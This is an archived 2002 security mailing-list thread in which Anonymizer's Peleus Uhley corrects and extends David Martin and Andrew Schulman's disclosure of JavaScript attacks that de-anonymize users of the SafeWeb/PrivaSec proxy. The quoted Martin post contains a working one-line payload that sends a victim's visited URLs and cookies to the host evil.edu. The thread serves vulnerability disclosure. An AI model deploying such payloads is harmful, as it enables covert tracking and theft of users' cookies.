I have to make a correction to my post regarding the paper. Re-naming of eval was listed in the Martin & Schulman paper in Section 5.3. Our renaming of function methods are similar but not the same. In both cases you are replacing function calls. Martin & Schulmann reassign the pointers and definitions to the functions. My attack deals with the fact that local scoping takes precedence and they didn't scope all of their functions properly. My apologies to everyone for the error. -Peleus Peleus Uhley Senior Developer Anonymizer Inc. peleusat_private On Tue, 12 Feb 2002, peleus wrote: > > In light of this post by Martin & Schulman on attacks against > SafeWeb/PrivaSec, we thought we would release just a few examples of my > own internal research to support their views on JavaScript and anonymous > proxy systems over the last years. We have found that these attacks are > not limited to SafeWeb. A rewrite engine alone will not cover every > possible manipulation of JavaScript. > Some attacks not enumerated in the Martin & Schulman paper include > but are not limited to: > > Embedding JavaScript in VBScript using the execscript command > (SafeWeb/PrivaSec & SiegeSoft) > http://www.anonymizer.com/proxy_tests/vbscript2.html > > Missing uncommon functions such as document.replace (SiegeSoft) > http://www.anonymizer.com/proxy_tests/siege_soft1.html > > Not recognizing the reset of form locations (SiegeSoft) > http://www.anonymizer.com/proxy_tests/siege_soft2.html > > Renaming the eval statement itself will make the SafeWeb/PrivaSec > system unstable which will not break the current page but will > break the following page once you click on a link. > http://www.anonymizer.com/proxy_tests/unstable.html > > You can also use the SafeWeb/PrivaSec functions against themselves > http://www.anonymizer.com/proxy_tests/sw_test_2.html > > There are many more possibilities due to JavaScripts functionality > as a language. Allowing JavaScript through a privacy protection system is > a non-trivial task. > > Allowing JavaScript in general can be extremely dangerous. An > individual only needs to look at the BugTraq postings over the last month > by The Pull and many others to see its inherent dangers. By allowing > JavaScript you are allowing other parties to execute programs on your > computer and placing full faith in them not to write anything harmful. > Current Proxy systems that allow JavaScript and other scripting > languages can not prevent all instances of these attacks. For instance, > SafeWeb does not stop The Pull's file reading exploit. A proxy system can > help to reduce these attacks but would not be able to give a 100% > guarantee since they would be re-actionary to problems in browser software > developed by other vendors. > Anonymizer has always taken the approach not to release > functionality until it has been sufficiently developed and proven > reliable. It is this approach that prevented us from releasing an unsafe > version of JavaScript functionality just to be the first one there. > Anonymizer is in fact now completing development of a solution for > allowing JavaScript while safely mitigating these risks through our proxy > and will be releasing a public beta in Spring 2002. > Note: The term "Anonymizer" is a trusted brand name and registered > trademark of Anonymizer Inc. The term "Anonymizer" and similar words > (such as anonymize or anonymizing) should not be used as generic > descriptive terms for Web privacy technology. > > Peleus Uhley > Senior Developer > Anonymizer Inc. > peleusat_private > > > > > On Mon, 11 Feb 2002, David Martin wrote: > > > Although SafeWeb's Web anonymizing service has been shut down since > > December, they claimed it was the "most widely used online privacy service > > in the world". SafeWeb licensed their technology to PrivaSec, who is > > currently running the technology in a preview program for a planned > > subscription service. They also licensed it to the CIA. > > > > Andrew Schulman and I have just finished a technical report detailing > > SafeWeb's catastrophic failures under the simplest of JavaScript attacks by > > Web sites or firewalls (e.g., by redirecting to a page containing the > > exploit). An example (really one long line): > > > > self['window']['top'].frames[0]['cookie_munch'] = Function('i=new > > Image(1,1);i.s'+'rc="https://evil.edu/"+top.frames[0].document.forms["fugulo > > cation"].URL_text.value+(new Date()).getTime()+document.cookie;'); > > > > This is spyware. Any Web page containing this JavaScript makes the SafeWeb > > browser silently report every URL visited to the attacker at evil.edu, along > > with a copy of all of the persistent cookies previously established through > > SafeWeb. It works regardless of the user's security settings (recommended > > vs paranoid mode, etc.) This attack is the only one we describe that > > depends on the browser: it works in Netscape 6.x and probably previous > > versions, but not IE. We have an attack that does basically the same thing > > and works in IE too, but it's a bit longer. Since our attacks are just > > JavaScript, they probably don't depend on the OS of the victim. > > > > Basically, using the SafeWeb privacy service helps keep user identities out > > of routinely gathered log files, but it creates serious new risks for anyone > > an adversary might bother to actually target. You have to wonder whether > > this is a good tradeoff. After all, in the absence of serious bugs, Web > > browsers generally prevent Web sites from silently depositing spyware or > > snarfing all of the user's cookies. One thing is clear: most users in the > > intended market for this system had no idea that this system brought any > > risks with it. > > > > For the full report (23 pages, PDF): > > http://www.cs.bu.edu/techreports/pdf/2002-003-deanonymizing-safeweb.pdf > > > > We've been in touch with SafeWeb since October, and with PrivaSec for about > > a month now. Some related problems in SafeWeb involving JavaScript spilling > > IP addresses have been noted here (by Alexander Yezhov) and in > > alt.privacy.anon-server (by Paul Rubin). Our paper adds spyware, cookie > > snarfing, and the essential equivalence between SafeWeb's "paranoid" and > > "recommended" modes of operation to the list of problems with SafeWeb's > > technology. > > > > David Martin http://www.cs.bu.edu/~dm > > Andrew Schulman http://www.undoc.com/ > > > > > >
This archive was generated by hypermail 2b30 : Wed Feb 13 2002 - 22:58:27 PST